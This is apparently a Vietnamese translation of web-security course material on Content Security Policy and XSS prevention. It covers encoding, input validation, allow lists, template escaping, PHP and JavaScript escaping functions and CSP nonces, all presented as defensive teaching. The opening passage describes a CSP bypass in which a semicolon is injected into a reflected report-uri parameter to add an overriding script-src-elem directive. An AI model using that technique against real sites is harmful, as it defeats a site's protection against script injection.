Bạn có thể gặp một trang web phản ánh đầu vào vào chính sách thực tế, rất có thể là trong chỉ thị report-uri. Nếu trang web phản ánh một tham số mà bạn có thể kiểm soát, bạn có thể chèn dấu chấm phẩy để thêm chỉ thị CSP của riêng mình. Thông thường, chỉ thị report-uri này là chỉ thị cuối cùng trong danh sách. Điều này có nghĩa là bạn sẽ cần ghi đè các chỉ thị hiện có để khai thác lỗ hổng này và bỏ qua chính sách.

Thông thường, không thể ghi đè chỉ thị script-src hiện có. Tuy nhiên, Chrome gần đây đã giới thiệu chỉ thị script-src-elem, cho phép bạn kiểm soát các thành phần tập lệnh, nhưng không phải sự kiện. Quan trọng là chỉ thị mới này cho phép bạn ghi đè các chỉ thị script-src hiện có. Sử dụng kiến ​​thức này, bạn sẽ có thể giải quyết phòng thí nghiệm sau.

Bảo vệ chống lại clickjacking bằng CSP

Chỉ thị sau đây sẽ chỉ cho phép trang được đóng khung bởi các trang khác từ cùng một nguồn gốc:

frame-ancestors 'self'

Chỉ thị sau đây sẽ ngăn chặn hoàn toàn việc đóng khung:

frame-ancestors 'none'

Sử dụng chính sách bảo mật nội dung để ngăn chặn clickjacking linh hoạt hơn so với sử dụng tiêu đề X-Frame-Options vì bạn có thể chỉ định nhiều miền và sử dụng ký tự đại diện. Ví dụ:

frame-ancestors 'self' https://normal-website.com https://\*.robust-website.com

CSP cũng xác thực từng khung trong hệ thống phân cấp khung cha, trong khi X-Frame-Options chỉ xác thực khung cấp cao nhất.

Khuyến nghị sử dụng CSP để bảo vệ chống lại các cuộc tấn công clickjacking. Bạn cũng có thể kết hợp điều này với tiêu đề X-Frame-Options để cung cấp khả năng bảo vệ trên các trình duyệt cũ hơn không hỗ trợ CSP, chẳng hạn như Internet Explorer.

**Bài 10: CÁCH PHÒNG CHỐNG XSS**

Trong phần này, chúng tôi sẽ mô tả một số nguyên tắc chung để ngăn chặn lỗ hổng cross-site scripting và cách sử dụng nhiều công nghệ phổ biến khác nhau để bảo vệ chống lại các cuộc tấn công XSS.

Phòng ngừa cross-site scripting thường có thể đạt được thông qua hai lớp phòng thủ:

* Mã hóa dữ liệu khi xuất
* Xác thực đầu vào khi đến

Bạn có thể sử dụng Burp Scanner để quét các trang web của mình để tìm nhiều lỗ hổng bảo mật bao gồm cả XSS. Logic quét tiên tiến của Burp mô phỏng các hành động của kẻ tấn công lành nghề và có thể đạt được phạm vi bao phủ tương ứng đối với các lỗ hổng XSS. Bạn có thể sử dụng Burp Scanner để đảm bảo rằng các biện pháp phòng thủ của bạn chống lại các cuộc tấn công XSS đang hoạt động hiệu quả.

\* MÃ HÓA DỮ LIỆU KHI XUẤT

Mã hóa phải được áp dụng trực tiếp trước khi dữ liệu do người dùng kiểm soát được ghi vào một trang, vì ngữ cảnh bạn đang ghi vào sẽ xác định loại mã hóa bạn cần sử dụng. Ví dụ: các giá trị bên trong chuỗi JavaScript yêu cầu một loại thoát khác với các giá trị trong ngữ cảnh HTML.

Trong ngữ cảnh HTML, bạn nên chuyển đổi các giá trị không được liệt kê trắng thành các thực thể HTML:

< converts to: &lt;

> converts to: &gt;

Trong ngữ cảnh chuỗi JavaScript, các giá trị không phải chữ và số phải được thoát Unicode:

< converts to: \u003c

> converts to: \u003e

Đôi khi bạn sẽ cần áp dụng nhiều lớp mã hóa theo đúng thứ tự. Ví dụ, để nhúng an toàn dữ liệu đầu vào của người dùng vào trình xử lý sự kiện, bạn cần xử lý cả ngữ cảnh JavaScript và ngữ cảnh HTML. Vì vậy, trước tiên bạn cần thoát Unicode dữ liệu đầu vào, sau đó mã hóa HTML:

<a href="#" onclick="x='This string needs two layers of escaping'">test</a>

\* XÁC THỰC ĐẦU VÀO KHI ĐẾN

Mã hóa có lẽ là tuyến phòng thủ XSS quan trọng nhất, nhưng nó không đủ để ngăn chặn các lỗ hổng XSS trong mọi ngữ cảnh. Bạn cũng nên xác thực đầu vào một cách nghiêm ngặt nhất có thể tại thời điểm đầu tiên nhận được từ người dùng.

Ví dụ về xác thực đầu vào bao gồm:

* Nếu người dùng gửi URL sẽ được trả về trong phản hồi, hãy xác thực rằng URL đó bắt đầu bằng giao thức an toàn như HTTP và HTTPS. Nếu không, ai đó có thể khai thác trang web của bạn bằng giao thức có hại như javascript hoặc dữ liệu.
* Nếu người dùng cung cấp giá trị mà họ mong đợi là số, hãy xác thực rằng giá trị đó thực sự chứa một số nguyên.
* Xác thực rằng đầu vào chỉ chứa một tập hợp các ký tự mong đợi.

Xác thực đầu vào lý tưởng nhất là hoạt động bằng cách chặn đầu vào không hợp lệ. Một cách tiếp cận thay thế, là cố gắng xóa đầu vào không hợp lệ để làm cho nó hợp lệ, dễ xảy ra lỗi hơn và nên tránh bất cứ khi nào có thể.

\* DANH SÁCH TRẮNG VÀ DANH SÁCH ĐEN

Xác thực đầu vào thường nên sử dụng danh sách trắng thay vì danh sách đen. Ví dụ, thay vì cố gắng lập danh sách tất cả các giao thức có hại (javascript, dữ liệu, v.v.), chỉ cần lập danh sách các giao thức an toàn (HTTP, HTTPS) và không cho phép bất kỳ giao thức nào không có trong danh sách. Điều này sẽ đảm bảo khả năng phòng thủ của bạn không bị phá vỡ khi các giao thức có hại mới xuất hiện và ít bị ảnh hưởng bởi các cuộc tấn công tìm cách che giấu các giá trị không hợp lệ để tránh danh sách đen.

\* CHO PHÉP HTML “AN TOÀN”

Nên tránh cho phép người dùng đăng mã đánh dấu HTML bất cứ khi nào có thể, nhưng đôi khi đó lại là yêu cầu của doanh nghiệp. Ví dụ: một trang blog có thể cho phép đăng bình luận có chứa một số mã đánh dấu HTML hạn chế.

Cách tiếp cận cổ điển là cố gắng lọc ra các thẻ và JavaScript có khả năng gây hại. Bạn có thể thử triển khai cách này bằng cách sử dụng danh sách trắng các thẻ và thuộc tính an toàn, nhưng do sự khác biệt trong các công cụ phân tích cú pháp của trình duyệt và các điểm kỳ quặc như đột biến XSS, cách tiếp cận này cực kỳ khó triển khai một cách an toàn.

Lựa chọn ít tệ nhất là sử dụng thư viện JavaScript thực hiện lọc và mã hóa trong trình duyệt của người dùng, chẳng hạn như DOMPurify. Các thư viện khác cho phép người dùng cung cấp nội dung ở định dạng đánh dấu và chuyển đổi đánh dấu thành HTML. Thật không may, tất cả các thư viện này đều có lỗ hổng XSS theo thời gian, vì vậy đây không phải là giải pháp hoàn hảo. Nếu bạn sử dụng một trong số các thư viện này, bạn nên theo dõi chặt chẽ các bản cập nhật bảo mật.

\* NGĂN CHẶN XSS BẰNG CÔNG CỤ TẠO MẪU:

Nhiều trang web hiện đại sử dụng các công cụ mẫu phía máy chủ như Twig và Freemarker để nhúng nội dung động vào HTML. Chúng thường xác định hệ thống thoát riêng của chúng. Ví dụ, trong Twig, bạn có thể sử dụng bộ lọc e(), với một đối số xác định ngữ cảnh:

{{ user.firstname | e('html') }}

Một số công cụ mẫu khác, chẳng hạn như Jinja và React, thoát khỏi nội dung động theo mặc định, giúp ngăn chặn hiệu quả hầu hết các trường hợp XSS.

Chúng tôi khuyên bạn nên xem xét kỹ lưỡng các tính năng thoát khi đánh giá xem có nên sử dụng một công cụ mẫu hoặc khuôn khổ nhất định hay không

\* NGĂN CHẶN XSS TRONG PHP:

Trong PHP có một hàm tích hợp để mã hóa các thực thể được gọi là htmlentities. Bạn nên gọi hàm này để thoát khỏi đầu vào của mình khi ở trong ngữ cảnh HTML. Hàm này nên được gọi với ba đối số:

* Chuỗi đầu vào của bạn.
* ENT\_QUOTES, là cờ chỉ định tất cả các dấu ngoặc kép phải được mã hóa.
* Bộ ký tự, trong hầu hết các trường hợp phải là UTF-8.

Ví dụ:

<?php echo htmlentities($input, ENT\_QUOTES, 'UTF-8');?>

Khi ở trong ngữ cảnh chuỗi JavaScript, bạn cần phải thoát Unicode đầu vào như đã mô tả. Thật không may, PHP không cung cấp API để thoát Unicode một chuỗi. Sau đây là một số mã để thực hiện điều đó trong PHP:

<?phpfunction jsEscape($str) {

$output = '';

$str = str\_split($str);

for($i=0;$i<count($str);$i++) {

$chrNum = ord($str[$i]);

$chr = $str[$i];

if($chrNum === 226) {

if(isset($str[$i+1]) && ord($str[$i+1]) === 128) {

if(isset($str[$i+2]) && ord($str[$i+2]) === 168) {

$output .= '\u2028';

$i += 2;

continue;

}

if(isset($str[$i+2]) && ord($str[$i+2]) === 169) {

$output .= '\u2029';

$i += 2;

continue;

}

}

}

switch($chr) {

case "'":

case '"':

case "\n";

case "\r";

case "&";

case "\\";

case "<":

case ">":

$output .= sprintf("\\u%04x", $chrNum);

break;

default:

$output .= $str[$i];

break;

}

}

return $output;

}

?>

Đây là cách sử dụng hàm jsEscape trong PHP:

<script>x = '<?php echo jsEscape($\_GET['x'])?>';</script>

\* CÁCH NGĂN XSS PHÍA MÁY KHÁCH TRONG JS

Để thoát khỏi đầu vào của người dùng trong ngữ cảnh HTML trong JavaScript, bạn cần bộ mã hóa HTML của riêng mình vì JavaScript không cung cấp API để mã hóa HTML. Sau đây là một số ví dụ về mã JavaScript chuyển đổi chuỗi thành thực thể HTML:

function htmlEncode(str){

return String(str).replace(/[^\w. ]/gi, function(c){

return '&#'+c.charCodeAt(0)+';';

});

Sau đó bạn có thể sử dụng chức năng này như sau:

<script>document.body.innerHTML = htmlEncode(untrustedValue)</script>

Nếu đầu vào của bạn nằm trong chuỗi JavaScript, bạn cần một bộ mã hóa thực hiện thoát Unicode. Sau đây là một bộ mã hóa Unicode mẫu:

function jsEscape(str){

return String(str).replace(/[^\w. ]/gi, function(c){

return '\\u'+('0000'+c.charCodeAt(0).toString(16)).slice(-4);

});

}

Sau đó, bạn sẽ sử dụng chức năng này như sau:

<script>document.write('<script>x="'+jsEscape(untrustedValue)+'";<\/script>')</script>

\* CÁCH NGĂN XSS TRONG JQUERY

Dạng XSS phổ biến nhất trong jQuery là khi bạn truyền dữ liệu đầu vào của người dùng đến một bộ chọn jQuery. Các nhà phát triển web thường sử dụng location.hash và truyền nó đến bộ chọn, điều này sẽ gây ra XSS vì jQuery sẽ hiển thị HTML. jQuery đã nhận ra vấn đề này và đã vá logic bộ chọn của họ để kiểm tra xem dữ liệu đầu vào có bắt đầu bằng một hàm băm hay không. Bây giờ jQuery sẽ chỉ hiển thị HTML nếu ký tự đầu tiên là <. Nếu bạn truyền dữ liệu không đáng tin cậy đến bộ chọn jQuery, hãy đảm bảo bạn thoát giá trị đúng cách bằng hàm jsEscape ở trên.

\* GIẢM THIỂU XSS BẰNG CSP

Chính sách bảo mật nội dung (CSP) là tuyến phòng thủ cuối cùng chống lại mã lệnh chéo trang. Nếu biện pháp phòng ngừa XSS của bạn không thành công, bạn có thể sử dụng CSP để giảm thiểu XSS bằng cách hạn chế những gì kẻ tấn công có thể làm.

CSP cho phép bạn kiểm soát nhiều thứ, chẳng hạn như liệu có thể tải các tập lệnh bên ngoài hay không và liệu các tập lệnh nội tuyến có được thực thi hay không. Để triển khai CSP, bạn cần bao gồm tiêu đề phản hồi HTTP có tên là Content-Security-Policy với giá trị chứa chính sách của bạn.

Một ví dụ về CSP như sau:

default-src 'self'; script-src 'self'; object-src 'none'; frame-src 'none'; base-uri 'none';

Chính sách này chỉ định rằng các tài nguyên như hình ảnh và tập lệnh chỉ có thể được tải từ cùng một nguồn gốc với trang chính. Vì vậy, ngay cả khi kẻ tấn công có thể chèn thành công một tải trọng XSS, chúng chỉ có thể tải các tài nguyên từ nguồn gốc hiện tại. Điều này làm giảm đáng kể khả năng kẻ tấn công có thể khai thác lỗ hổng XSS.

Nếu bạn yêu cầu tải các tài nguyên bên ngoài, hãy đảm bảo bạn chỉ cho phép các tập lệnh không hỗ trợ kẻ tấn công khai thác trang web của bạn. Ví dụ: nếu bạn đưa một số tên miền nhất định vào danh sách trắng thì kẻ tấn công có thể tải bất kỳ tập lệnh nào từ các tên miền đó. Nếu có thể, hãy thử lưu trữ các tài nguyên trên tên miền của riêng bạn.

Nếu không thể thực hiện được điều đó, bạn có thể sử dụng chính sách dựa trên băm hoặc nonce để cho phép các tập lệnh trên các tên miền khác nhau. Một nonce là một chuỗi ngẫu nhiên được thêm vào dưới dạng thuộc tính của một tập lệnh hoặc tài nguyên, sẽ chỉ được thực thi nếu chuỗi ngẫu nhiên khớp với chuỗi do máy chủ tạo ra. Kẻ tấn công không thể đoán chuỗi ngẫu nhiên và do đó không thể gọi một tập lệnh hoặc tài nguyên có nonce hợp lệ và do đó tài nguyên sẽ không được thực thi.